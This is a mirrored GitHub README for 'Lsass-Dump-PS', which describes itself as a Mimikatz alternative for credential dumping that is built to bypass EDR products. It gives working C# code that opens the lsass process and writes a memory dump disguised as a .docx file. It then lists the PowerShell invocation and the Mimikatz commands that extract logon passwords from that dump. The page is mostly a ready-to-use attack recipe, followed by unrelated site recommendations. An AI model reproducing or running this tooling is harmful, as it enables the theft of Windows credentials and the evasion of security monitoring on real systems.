Giter VIP home page Giter VIP logo

lsass-dump-ps's Introduction

Lsass-Dump-PS

The LsassDumper is a Mimikatz alternative tool used for credential dumping created to bypass EDR products.

How to Use

  • step 1: Edit the script: Chanage the path to the file and the file name (foo.docx).
 public static void RunMe(int procId)
        {
            string dumpFileName = "C:\\Users\\Username\\Desktop\\foo.docx";
            FileStream file = new FileStream(dumpFileName, FileMode.Create);
            IntPtr hProcess = OpenProcess((uint)0x001F0FFF, true, procId);
            bool res;
            MINIDUMP_EXCEPTION_INFORMATION info = new MINIDUMP_EXCEPTION_INFORMATION();
            res = MiniDumpWriteDump(hProcess, (uint)procId, file.SafeFileHandle.DangerousGetHandle(), 0002, ref info, IntPtr.Zero, IntPtr.Zero);
            if(res){
                Console.WriteLine("Created By Liav Gutman AKA PT-MasterMind :)");
            
            }else{
                Console.WriteLine("Something went wrong please try again");
            
            
            }
 
  • step 2: Configre the lsass.exe process id and run the script (some cases NT AUTHORITY\SYSTEM is required).
 [GoodMod.Dump]::RunMe(16048)
  • step 3: Load the dump file (foo.docx) to Mimikatz and done!
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::minidump liav.docx

mimikatz # sekurlsa::logonpasswords
 

lsass-dump-ps's People

Contributors

pt-mastermind avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.